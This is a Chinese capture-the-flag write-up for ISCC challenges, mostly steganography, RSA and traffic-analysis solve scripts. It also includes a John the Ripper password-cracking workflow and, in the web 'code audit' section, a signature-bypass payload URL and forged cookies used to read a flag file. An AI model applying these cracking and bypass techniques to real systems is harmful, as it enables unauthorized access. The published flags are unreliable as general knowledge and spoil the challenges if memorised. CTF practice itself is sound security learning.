文章目录
- 一、Misc
- 1、Number_is_the_key
- 2、FunZip
- 3、擂台—— 重“隐”;
- 4、RSA_KU
- 5、时间刺客
- 6、成语学习
- 7、 精装四合一
- 8、钢铁侠在解密
- 9、有人让我给你带个话
- 10、Magic_Keyboard
- 11、工业互联网模拟仿真数据分析
- 二、Web
- 1、还没想好名字的塔防游戏
- 2、代码审计
- 3、原神启动
- 4、Flask中的pin值计算
- 5、掉进阿帕奇的工资
- 6、实战——阶段一: 内网服务器漏洞利用
- 7、回来吧永远滴神
- 8、这题我出不了了
- 9、一道普通的XSS题目
- 10、与时俱进
- 三、Reverse
- 迷失之门
- 四、Pwn
- chaos
- 五、mobile
- Puzzle_Game
一、Misc
1、Number_is_the_key
下载附件得到Excel表,打开什么都没发现;
那丢进010查看,发现pk开头果断改后缀zip;
打开zip在里面查找,发现sheet1.xml里面有二维码点阵;
这里有两个方法可以恢复,第一种就是普通的脚本(网上有类似稍加修改即可),第二种改回Excel表格,在里面替换修改表格的宽高即可,这里我选择第二种较方便;
这里注意一点,一点要选Ctrl+A全选在尽进行替换,最后点击全部替换即可;
但是发现二维码太大还是没办法扫到,这里我们可以调整格子的宽高即可;
扫描二维码得到flag;
ISCC{Yi3icOwUaoV1}
2、FunZip
下载附件得到一个有编码的txt;
这一看就是对txt进行了base64进行加密,那我们使用工具puzzlesolver梭哈即可;
工具已放评论区自取;
ISCC{CiXCNGQHE7OV}
3、擂台—— 重“隐”;
下载附件,一个wav,一张png;
先分析png,丢进010分析;
发现末尾有东西,那我们丢进kali进行分析;
图片正常显示,基本可以确认宽高无问题,那我们直接对图片进行分离试试;
有锁,那我们就找password,既然图片已经分析完毕,那我们直接从wav下手;
丢进Audacity无果;
仔细听wav发现是某种拨号声,找一个分析拨号的工具,猜测这个拨号声就是password;
找到工具dtmf2num,工具放评论区自取;
这里注意音频放同一目录下;
一开始以为这就是flag但是发现怎么尝试都不对,后来发现两位一组配合九键才是正确的password
例如;82——u/U,73——r/R,以此类推最后发现刚刚好。
urhdbdfge
URHDBDFGE
打开txt发现是一串brainfuck加密,找一个在线解码即可;
ISCC{y0u_f1nd_t
喔泥马,得到一半,害,别慌,按道理既然图片里面有个txt,那就猜测wav也有,那我们直接上deepsound查txt!
然后在图片里面找密码,翻了半天没有翻到,没办法直接上爆破(严格来说其实不算是爆破);
简单来说是通过deepsound2john.py脚本来获得密码的hash值,代码如下;
#! python3
import logging
import os
import sys
import textwrap
def decode_data_low(buf):
return buf[::2]
def decode_data_normal(buf):
out = bytearray()
for i in range(0, len(buf), 4):
out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
return out
def decode_data_high(buf):
out = bytearray()
for i in range(0, len(buf), 8):
out.append((buf[i] & 3) << 6 | (buf[i + 2] & 3) << 4 \
| (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
return out
def is_magic(buf):
# This is a more efficient way of testing for the `DSCF` magic header without
# decoding the whole buffer
return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \
and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \
and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \
and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)
def is_wave(buf):
return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'
def process_deepsound_file(f):
bname = os.path.basename(f.name)
logger = logging.getLogger(bname)
# Check if it's a .wav file
buf = f.read(12)
if not is_wave(buf):
global convert_warn
logger.error('file not in .wav format')
convert_warn = True
return
f.seek(0, os.SEEK_SET)
# Scan for the marker...
hdrsz = 104
hdr = None
while True:
off = f.tell()
buf = f.read(hdrsz)
if len(buf) < hdrsz: break
if is_magic(buf):
hdr = decode_data_normal(buf)
logger.info('found DeepSound header at offset %i', off)
break
f.seek(-hdrsz + 1, os.SEEK_CUR)
if hdr is None:
logger.warn('does not appear to be a DeepSound file')
return
# Check some header fields
mode = hdr[4]
encrypted = hdr[5]
modes = {2: 'low', 4: 'normal', 8: 'high'}
if mode in modes:
logger.info('data is encoded in %s-quality mode', modes[mode])
else:
logger.error('unexpected data encoding mode %i', modes[mode])
return
if encrypted == 0:
logger.warn('file is not encrypted')
return
elif encrypted != 1:
logger.error('unexpected encryption flag %i', encrypted)
return
sha1 = hdr[6:6+20]
print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--verbose', '-v', action='store_true')
parser.add_argument('files', nargs='+', metavar='file',
type=argparse.FileType('rb', bufsize=4096))
args = parser.parse_args()
if args.verbose:
logging.basicConfig(level=logging.INFO)
else:
logging.basicConfig(level=logging.WARN)
convert_warn = False
for f in args.files:
process_deepsound_file(f)
if convert_warn:
print(textwrap.dedent.rstrip(), file=sys.stderr)
这里我在kali里面操作的;
vim 123.py
导入进hash.txt即可;
python 123.py music.wav > hash.txt
并使用Kali的john工具来暴力破解原相,得到password;
john hash.txt
密码;teenager
成功导出,打开你会发现是个文本盲水印;
别怕我们有PuzzleSolver万能解码工具。丢进txt解码即可;
3HodAcpU52ryNLs4f7xBMqmjA
解出来发现是个base58,找个解码就行,随便用啥工具,我用的ToolsFx;
工具在评论区自取;
这里%7D是}的意思,ucode编码嘛;
最后拼接即可;
ISCC{y0u_f1nd_t74_re2l_w4t3rm4rk}
4、RSA_KU
下载附件得到;
经典RSA没什么说的,脚本梭哈;
先算出p、q
from sympy import symbols, Eq, solve
# 定义符号变量 p 和 q
p, q = symbols('p q', integer=True)
# 给定的方程
eq1 = Eq((p - 2) * (q - 1), 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834)
eq2 = Eq((p - 1) * (q - 2), 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458)
eq3 = Eq(p * q, 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977)
# 求解方程组
solutions = solve((eq1, eq2, eq3), (p, q))
# 检查结果是否为解的列表
if isinstance(solutions, list):
# 如果有多个解,则打印所有解
for sol in solutions:
print(f"p = {sol[0]}, q = {sol[1]}")
else:
# 如果只有一个解,则打印该解
print(f"p = {solutions[p]}, q = {solutions[q]}")
得到;
条件已全部满足脚本梭哈即可;
from Crypto.Util.number import inverse, long_to_bytes
# 已知值
n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 75766262602173947947315858580952225983622657709089882848511404734490290076406150199798837352910981802804416097404105898476177884508640407765047095990736796975565150807456634928354833839456684311349985183993952174346191847600793718006141700899387563566150861755552512843348970189147270827332208185646688195020
# 已解出的 p 和 q
p = 11679509046055093484387585536769973960915016129595089156764897709796981174994469835617477280580153684696296947700908005372625963068761884667061288424062299
q = 11104861498641160020551133747582851050482827883841239117180799157472078278661946047575808556331157873693827396366774529894387508349540416345196575506278923
# 计算 φ(n)
phi = (p - 1) * (q - 1)
# 计算私钥 d
d = inverse(e, phi)
# 解密密文 c
m = pow(c, d, n)
# 将明文转换为字节序列
flag = long_to_bytes(m)
# 打印结果
print(flag.decode())
运行直接得到flag;
ISCC{YrUjF9W40uirNUcvmE--}
简单分析一下;
这个脚本将使用这些值来计算私钥 d
,然后用它来解密给定的密文 c
。解密后的明文将被转换为字节序列;
注意;
确保在Python环境中已安装了 pycryptodome
库,因为脚本使用了这个库中的 inverse
和 long_to_bytes
函数。如果尚未安装,可以通过运行 pip install pycryptodome
来安装它。
这个脚本应该能够正确解密密文 c
并打印出解密后的消息。如果解密的文本无法正常显示(比如包含非打印字符或编码错误),这可能是因为解密得到的数据不是有效的UTF-8编码字符串。
5、时间刺客
下载附件得到一个有锁的zip和流量包;
先看流量包发现USB,那就是USB键盘解密;
丢kali里面;
tshark -r 123.pacp -T fields -e usb.capdata | sed '/^\s*$/d' > 1.txt
接下来直接提取出来,参考:CISCN2022 ez_usb
得到了所有的键盘输入(注意需加冒号)
f=open('1.txt','r')
fi=open('666.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==16: # 鼠标流量的话len改为8
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
运行得到;
然后对输出的文本进行转义;
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
"30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
output = []
keys = open('666.txt') # 这里是加号冒号的数据
for line in keys:
try:
if line[0] != '0' or (line[1] != '0' and line[1] != '2') or line[3] != '0' or line[4] != '0' or line[
9] != '0' or line[10] != '0' or line[12] != '0' or line[13] != '0' or line[15] != '0' or line[16] != '0' or \
line[18] != '0' or line[19] != '0' or line[21] != '0' or line[22] != '0' or line[6:8] == "00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]], [shiftKeys[line[6:8]]]][line[1] == '2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag = 0
print("".join(output))
for i in range(len(output)):
try:
a = output.index('<DEL>')
del output[a]
del output[a - 1]
except:
pass
for i in range(len(output)):
try:
if output[i] == "<CAP>":
flag += 1
output.pop(i)
if flag == 2:
flag = 0
if flag != 0:
output[i] = output[i].upper()
except:
pass
print('output :' + "".join(output))
运行得到;
这个应该就是密码了,打开zip,注意(里面两层zip)
pr3550nwardsa2fee6e0
PR3550NWARDSA2FEE6E0
全是空文件,根据提示是时间,那就直接找时间戳,丢给GPT生成脚本,读取日期转ASCll即可;
import os
import time
def get_txt_files(directory):
txt_files = []
for file in os.listdir(directory):
if file.endswith(".txt"):
txt_files.append(os.path.join(directory, file))
return txt_files
def get_modification_time(filename):
modification_time = os.path.getmtime(filename)
return time.localtime(modification_time)
def format_time(modification_time):
return (modification_time.tm_year, modification_time.tm_mon, modification_time.tm_mday,
modification_time.tm_hour, modification_time.tm_min, modification_time.tm_sec)
def process_time(datetime):
return datetime[-2] * 60 + datetime[-1]
def main():
directory = "35" # 修改为您要读取的文件夹名称
txt_files = get_txt_files(directory)
dict_output = {}
for i, txt_file in enumerate(txt_files):
modification_time = get_modification_time(txt_file)
formatted_time = format_time(modification_time)
result = process_time(formatted_time)
dict_output[i] = chr(result)
print("Dictionary contents:")
print(dict_output)
flag = ""
for i in range(len(txt_files)):
flag += dict_output[i]
print('ISCC{' + flag + '}')
if __name__ == "__main__":
main()
运行即可;
6、成语学习
下载附件一个有锁zip、一个pacp
打开pacp简单分析一下,查看协议分级,发现有http有文件;
这里为了方便我直接全部导出,按大小排序,且使用010分析;
往下翻一点发现png头,前面全部删掉,后缀保存为png
一眼宽高问题;
得到key
57pmYyWt
打开zip,发现是空白文件,010打开发现pk开头,后缀改zip即可;
打开发现很多文件,一个一个看太麻烦了,那怎么办,这里教个快方法吗,丢进kali使用find快查找
find ./* -name fl*
打开txt发现hmacmd5,找个在线网站解码即可;
网址;https://www.mklab.cn/utils/hmac
明文;成语
密文;prawn
解密得到flag;
7、 精装四合一
下载附件得到四张图片;
使用010打开使用十六进制查找(AE 42 60 82),并且删除前面前面所有数据及AE 42 60 82;
然后得到四张图片的冗余数据,然后依次打开,异或0xff异或最快速的方法可以使用010editor:十六进制然后点击二进制异或;
接着就是依次把数据提取出来;
简单来说(他是把一个zip数据,均匀分布到4个文件里,那么我们需要依次读取4个文件)
那我们使用zip
找师傅要个脚本生成zip;
fp1 = open('1.png','rb')
fp2 = open('2.png','rb')
fp3 = open('3.png','rb')
fp4 = open('4.png','rb')
fp5 = open('5.zip','wb')
#这里的1.png 2.png 3.png 4.png是我重命名的,如果你异或完第四位
#如果是4b,就是2.png
#如果是03,就是3.png
#如果是04,就是4.png
for i in range(3176):
fp5.write(fp1.read(1))
fp5.write(fp2.read(1))
fp5.write(fp3.read(1))
fp5.write(fp4.read(1))
fp5.write(fp1.read())
得到一个有锁的zip,这里直接爆破即可密码;
65537
打开doc把这个覆盖图片移走,能够得到一堆数字,这些就是RSA的模数n
这里小细节如果你移走之后还是没有看见n,那就全选调成无间距即可;
在使用010打开发现pk,提取出来保存zip格式,发现了两张图片;
这里先使用yafu分解模数n,得到p、q;
网址;http://factordb.com/
得到p、q,经典RSA加密了,直接脚本梭哈即可;
from Crypto.Util.number import bytes_to_long, long_to_bytes
import gmpy2
e = 65537
n = 16920251144570812336430166924811515273080382783829495988294341496740639931651
p = 167722355418488286110758738271573756671
q = 100882503720822822072470797230485840381
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
# 读取加密的文件
c = bytes_to_long(open('true_flag.jpeg', 'rb').read())
# 解密
m = pow(c, d, n)
# 将解密后的明文保存到文件
print(long_to_bytes(m))
print(c)
最后运行即可;
最后复制丢给GPT转文本即可;
8、钢铁侠在解密
下载附件得到一张bmp后缀结尾的图片、还有一个txt;
打开txt查看;
看着比较眼熟,猜测一下富兰克林攻击,但是缺少C1以及C2呀,那就应该是在图片里面;
简单分析一下图片,既然是bmp结尾那就尝试使用silenteye分析;
哎,发现了txt,打开查看;
果然就是我们需要的C1C2;
做到这里,这题让我想起某年领航杯的一道密码,及其相似,因为e的值也是一样的大,但是了解到了half-gcd;
链接:https://www.cnblogs.com/mumuhhh/p/17789591.html
又回去看了一下,脚本可以直接搬运;
def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x ^ m)
b_top, b_bot = b.quo_rem(x ^ m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x ^ (m // 2))
e_top, e_bot = e.quo_rem(x ^ (m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11
def GCD(a, b):
print(a.degree(), b.degree())
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)
#填入你的
c1 = 5017369768694090882032874151790454013801219395405287358207261245363256829248608596502248566398520888429123068081569109393280813077504052950602807292263976569549950695855034991600627474248601023155417605655770430049715209036466126332158721754416840461535178102241673458740266136324362194445284419127770862459105202409819693263389282320915294170572475633725510148135550165243317205799536627815353543347307896706247209832387038159128207210034149401836142035780479451946680015887015805801833689166356479093336955344013041439948376767333629389510835402505659305883721660844242226225426796547014196608222731396847442033989
c2 = 507384238405164894777070216936058414248957470621682465979969565874673475531556308157966971978727929187885326824096036880804838325461008248518925654961162689385362314521317488538713528411196811305410646950164637167443757506100731566433818518444499218820451016697511365389342947997664515635533495319642108557081560343565725150552083709866564355720051752298333524185795164369635622805913094004540556292465465504776524188179971013639183466958695108211645591808065992454954828366833086197711882310642589818019027277798204029101473373561664384967568947638228117979763658236419828589469635113089784255797757642551645627462
N = 14333611673783142269533986072221892120042043537656734360856590164188122242725003914350459078347531255332508629469837960098772139271345723909824739672964835254762978904635416440402619070985645389389404927628520300563003721921925991789638218429597072053352316704656855913499811263742752562137683270151792361591681078161140269916896950693743947015425843446590958629225545563635366985228666863861856912727775048741305004192164068930881720463095045582233773945480224557678337152700769274051268380831948998464841302024749660091030851843867128275500525355379659601067910067304244120384025022313676471378733553918638120029697
e = 52595
pad1 = 1769169763
pad2 = 1735356260
PR.<x>=PolynomialRing(Zmod(N))
g1 = (x*2^32+pad1)^e - c1
g2 = (x*2^32+pad2)^e - c2
X=584734024210292804199275855856518183354184330877
print(g1(X),g2(X))
res = GCD(g1,g2)
m = -res.monic().coefficients()[0]
print(m)
print(bytes.fromhex(hex(m)[2:]).decode().replace("flag{",'ISCC{'))
这里需要注意;
这个脚本不能在普通的Python环境中运行,因为它使用了SageMath特有的库和函数。例如,PolynomialRing
和 Zmod
是SageMath中的数学结构,它们不是Python标准库的一部分。SageMath是一个专门的数学软件系统,它扩展了Python,使其可以进行更高级的数学运算,特别是在符号计算、数学结构构造和密码学应用中。
简单来说什么是SageMath?
SageMath Notebook提供了一个交互式的环境,可以直接运行SageMath代码,并查看结果。如果尝试在没有SageMath的Python环境中运行此代码,您会遇到导入错误和未定义函数的问题,因为Python的标准库中没有定义这些函数和类。
工具已放评论区(注意安装时间有点长等待片刻即可;)
这里是官方链接可以选择自己对应的版本;https://mirrors.aliyun.com/sagemath/win/index.html
点击并且运行SageMath 9.3 Notebook;
脚本直接复制粘贴进去。点击运行即可(选中运行),这里输出结果较为漫长等待即可;
最后得出flag;
参考文章:https://www.cnblogs.com/mumuhhh/p/17789591.html
9、有人让我给你带个话
下载附件一张图片和一个空白文件,先分析图片,丢进kali使用zsteg查看有什么隐写数据;
zsteg -图片
不难看出里面有Rar文件,那就导出;
zsteg -E "extradata:0" Tony.png >123.rar
得到一张png图片,根据图片名字得到提示,这里不太清楚那我们百度一下;
大致随便看了一下,简单来说就是语音音频经过 Google/lyra
低比特率压缩。
天琴座(Lyra)利用这些新的自然发声生成模型的力量来维持参数编解码器的低比特率,同时实现高质量的音频效果,达到与当今大多数流媒体和通信平台中使用的最新波形编解码器相当的水平。波形编解码器的缺点在于,它们通过逐个样本压缩和发送信号来达到高质量,这需要更高的比特率,而且在大多数情况下,并不能自然地再现声音。
生成模型面临的一个问题是其计算复杂性。Lyra 通过使用更为经济的递归生成模型(如 WaveRNN 的变种)来避免这一问题。虽然这些模型的工作速率较低,但它们能够并行生成不同频率范围内的多个信号,然后在所需的采样率下将其合并为单个输出信号。这一技巧使得 Lyra 不仅可以在云服务器上运行,还可以实时在中端手机设备上运行,其处理延迟为 90 毫秒,与其他传统语音编解码器一致。之后,对该生成模型进行数千小时的语音数据训练,并类似于 WaveNet 进行优化,以准确地重现输入音频。
工具:https://github.com/google/lyra
跟着教程一步步安装即可;(推荐Ubuntu)
教程推荐:https://blog.csdn.net/qq_36959443/article/details/116136965
安装完成,开始使用工具解密,将附件里面空白文件改为1.lyra即可;
bazel-bin/lyra/cli_example/decoder_main --encoded_path=1.lyra --output_dir=1/--bitrate=3200
直接得到音频文件,以为是什么隐写,结果听了一下,就是单纯的社会核心价值观解密;
随便找个wav转语音网站导出txt,找一个在线社会主义核心价值观解码网站即可;
wav转文本;https://www.pdf365.cn/voice-to-word/
解码网站;http://www.hiencode.com/cvencode.html
ISCC{8NQ3EHJRNQ02}
这题其实中规中矩难就难在环境问题,大家很多都没装成功;
10、Magic_Keyboard
点击附件下载会自动跳到一个视频网站,接着我们需要下载并保存;
仔细听视频里面的声音,发现是键盘敲击的声音,那我们百度一下,发现PBCTF有类似的题目看了一下大佬的wp稍微有点思路了;
链接:https://blog.csdn.net/weixin_43234021/article/details/120714151
简单来说,这道题就是先消除键盘杂音,将每个键的音频拆分为较短的音频样本,为每个键分配一个字母并求解生成的替换密码。
俗一点;猜奖
这里我拿的的是这位师傅的exp,随便修改就可以继续使用;
链接:https://github.com/tttttx2/CTF_Writeups/blob/main/PBCTF-2021/Is_that_your_packet.md
这里随便输一个:qwertyuioplkjhgf(对应脚本里面的推荐码表)
注意!!!脚本里面的音频时长改成自己的音频时长!!!
脚本:
from scipy.io import wavfile
import numpy as np
# 读取 WAV 文件并跳过文件头
with open('./attachment-45.wav', 'rb') as f:
content = f.read()
content = content[0x2c:]
# 按音频长度和预期按键次数划分内容
audio_length_seconds = 34 # 替换为实际音频长度
expected_key_presses = audio_length_seconds * 2 # 每秒两次按键
chunk_size = len(content) // expected_key_presses
chunks = [content[i*chunk_size:(i+1)*chunk_size] for i in range(expected_key_presses)]
# 计算每个分块的 avg 值
avg_values = []
for chunk in chunks:
# 将每个分块的字节数据转换为 16 位整数
samples = np.frombuffer(chunk, dtype=np.int16)
avg_value = np.mean(np.abs(samples))
avg_values.append(avg_value)
#ghijgjgjklkhmnkiinkkmikomiinmpmqmhmpmomrmiinksmimnksmrmikq
#495343437b796f755f776572655f6c6d696c626c655f70656f706c657d
# 映射 avg 值到字母
alphabet = "qwertyuioplkjhgf" # 推荐码表
avg_map = {}
i = 0
res = ""
# 映射 avg 值
for value in avg_values:
value_str = str(value)
if value_str not in avg_map:
avg_map[value_str] = alphabet[i % len(alphabet)] # 循环使用字母表
i += 1
res += avg_map[value_str]
# 打印结果
print(avg_map)
print(res)
运行结果得到;
qwerqrqrtytwuiteeiuruoupeiulueeiuoupuouktwtquwuruoukeitjuetltruiupth
继续分析:
接着PBCTF里面是16个键位,分别是0-9,a-f,
那我们就用这16个键位慢慢替换成上面我们用的字母表,PBCTF都是两位代表一个字符,ascii表里面好多字母都超过3位数字了,那这都是两位肯定就是16进制了;
简单来说因为是使用ISCC{}包裹,所以一般格百分之八十可以确定为ISCC{},I——0x49,
S——0x53,C——0x43,{}——0x7d,0x7b
所以这里我们就使用495343437b替换最开始的字符串(注意脚本还是刚刚上面的脚本);
所以也就说此时我们替换成了:495343437iklpd
运行得到一串十六进制,丢去解码网站;
49534343434943455343474b534l4553474b474k49444943474k534j454l43434b4h
网站链接:https://mm.imbyter.com/#recipe=From_Hex(‘Auto’)&input=NDk1MzQzNDM0MzQ5NDM0NTUzNDM0NzRiNTM0bDQ1NTM0NzRiNDc0azQ5NDQ0OTQzNDc0azUzNGo0NTRsNDM0MzRiNGgNCg
解码得到;
ISCCCICESCGKSESGKGIDICGSECCK
发现并不是我们想要的,那就在原来的基础上删掉一些(多调试调试);直到改成ISCC{}前后包裹为止;
最后终于在某一刻变成了:49537b6ioplkjhgf
495343437b796i755i636o6p5i6l655i6o6p6o6k797469636o6k5i7j657l736i6p7h
接着我们解码;
这里得到;ISCC{y?u?c????e?????ytic????e?s???}
猜一手;
y?u——you
现在变成;
ISCC{you_c???e???ytic???e?s???}
继续猜码表:49537b6fc21djhgf(运行脚本)
丢到在线解码得到:495343437b796f755f636c625f61655f6c626c6d797469636c6d5f7j6571736f627h
解码:ISCC{you_clb_ae_lblmyticlm_?eqsob}
这里基本就可以看出分隔那一些。结合前面的我们可以得到;
ISCC{you_c???e???ytic??_?e?s??}
又变成了这样;
简单分析一点,如果写成you can be 那就是——你可以是什么什么
那就暂时先这样:ISCC{you_can_be_???ytic??_?e?s??}
后面去研究了很多师傅的flag,我发现最后很多什么什么的人(注意我们这里最后也非常像人的单词)
那就又可以写成ISCC{you_can_be_???ytic??_person}最后的人单词以及问号数量位置都可以对得上;
所以这里翻译出来那就是你可以是什么的人,没事直接反手丢给GPT看看一共有多少组合;
最后前前后后就那么多满足我们条件的,最后一个个尝试
但是尝试了还是不对,但是我感觉就差一点,于是我就想到了翻译;
那就直接排查合成和乳酸,就只剩下神秘和分析的,但是我们的?最贴切还是分析的,所以我们可以猜测翻译!
你可以是善于分析的人
最后得出flag;
ISCC{you_can_be_analytical_person}
最后总结了一下我的推荐码表:
49537b6f1e2c0dgh
十六进制:
495343437b796f755f63616e5f62655f616e616c79746963616c5f706572736f6e7d
哈哈哈哈哈,这题挺好玩的,猜猜乐(当然每个人猜的方法都不一样,看你怎么去猜,这边仅供参考喔~)
11、工业互联网模拟仿真数据分析
下载打开word
具体讲了题目和wires hark的使用方法
看了一眼自带的脚本,分析下来就是最后的结果需要进行MD5加密进行提交
分析pcag
里面全都是udp协议,相同ip出现了好多次
然后数里面的ip个数和种类
在某些网络会话中,数据包可能保持固定大小,再这里面看192.168.1.4和192.168.1.2
而通信包数据某些字段可能为确定的,请给出确定字节数值。
tshark -r a.pcap -T fields -e data.data -Y "data.len==12"
2024f7b039ae1f546c8e8b1b
2024b939b6fdd3a92dacee64
2024fd300d3fd17b85d1ae51
20249cf615176e00d3fde264
20247b5207a1d2b639fe1e55
202432b3b42ff36424a15d01
2024f2122ad847094be81d58
2024e866d7ec7b7d5ae618bf
20244057c7e66ca371b2c938
202433b4fba38bac7e29bc6a
2024796986cd9b1fc559ad61
20248c6b6efd392e9839a3eb
202462434670e7e76d766c58
20241cc66ab532ff8c8f1d2e
很明显就是前面的
2024
而这些中,找了一会时间差别,只有192.168.1.3和192.168.1.5之前时间差是平均有规律的,都是0.06秒
1
1
1
192.168.1.3 192.168.1.5 0.06
那么既然这几个节点能进行传输,那他们就存在某种逻辑关联性
看文末的流量分组,就能看出这三个IP是有业务关联性的
192.168.1.2 192.168.1.3 192.168.1.6
- 题目五:网络数据包往往会添加数据完整性校验值,请分析出数据校验算法名称及校验值在数据包的起始位和结束位(倒数位)
答案:XXXXX,X,X
五位数字,首先想到CRC16和CRC32 倒数位必为1
为CRC16,4,1时成功提交
192.168.1.2,192.168.1.4,24
2024
192.168.1.3,192.168.1.5,0.06
192.168.1.2,192.168.1.3,192.168.1.6
CRC16,4,1
ISCC{192.168.1.2,192.168.1.4,24,2024,192.168.1.3,192.168.1.5,0.06,192.168.1.2,192.168.1.3,192.168.1.6,CRC16,4,1}
最后flag用md5加密为adcca5c2a82064a17a645d35b6b054cd
二、Web
1、还没想好名字的塔防游戏
hint:这是一个还没想好名字的塔防游戏。
备注:
(1)Flag格式为ISCC{xxx},其中xxx共有18位,记得数清楚哦!
(2)提示在后边哦!
打开靶机,发现真的是一个游戏,直接Ctrl+u查看源码;
发现在一堆js后缀文件里面,word尤其显眼。那我们下载下来进行分析;
使用记事本打开,再次发现hint:
这里就是一个脑洞,其实也没有什么,一开始题目给的hintxxx一共是18位,那我们就可以猜一下,记事本里的hint首字母加起来有没有18位;
很明显肯定不够18位!,那既然都猜大写字母了,那不妨在大胆一点,我们在加上一开始游戏界面的首字母,至于加在前面还是加在后面,可以多尝试几遍!
最后脑洞成功!这里注意of和and首字母都是小写不算在大写里面;
这题应该放mics
2、代码审计
打开靶机Ctrl+u查看源码,有点眼熟之前buu刷到类似的
参考链接:https://blog.csdn.net/qq_45837896/article/details/126026576
简单分析一下;
这个 Flask 应用程序定义了三个路由(也就是三个不同的URL路径),每个路由都关联了一个特定的函数来处理请求
-
/geneSign
路由:当通过GET
或POST
方法访问此路径时,会调用geneSign
函数。这个函数的作用是根据提供的参数param
和固定的动作action
(在这个例子中是"scan"
),生成一个签名(sign
)并返回。这个签名是通过get_sign
函数生成的,它使用md5
散列算法。 -
/De1ta
路由:当通过GET
或POST
方法访问此路径时,会调用challenge
函数。这个函数首先从请求的 cookies 中获取action
和sign
,从请求的参数中获取param
,然后创建一个Task
实例并执行它的Exec
方法。Task
类的Exec
方法会根据action
的值来执行不同的操作,如扫描文件或读取文件内容,并返回执行结果。 -
/
根路由:当访问网站的根路径时,会调用index
函数。这个函数简单地读取并返回 “code.txt” 文件的内容。
总结一下;
1、param放要读的文件flag.txt
2、cookie里的action+GET里的param加密后要等于cookie里的sign
3、geneSign告诉我们param+关键字action的MD5加密是多少
4、那我们在/geneSign页面传param=flag.txtread就能算出来secret_key+flag.txt+readscan的值是多少,可以绕过弱比较。
开始构造payload
http://101.200.138.180:12315/geneSign?param=flag.txtread
接着,返回/De1ta页面GET传参param=flag.txt,cookie传参action=readscan;sign=b1c87b8fa0c3aaf0980dcb6447a95970可以得到flag,密钥不同环境不同。
cookie: action=readscan;sign=b1c87b8fa0c3aaf0980dcb6447a95970
这里我使用bp抓包修改并传参;
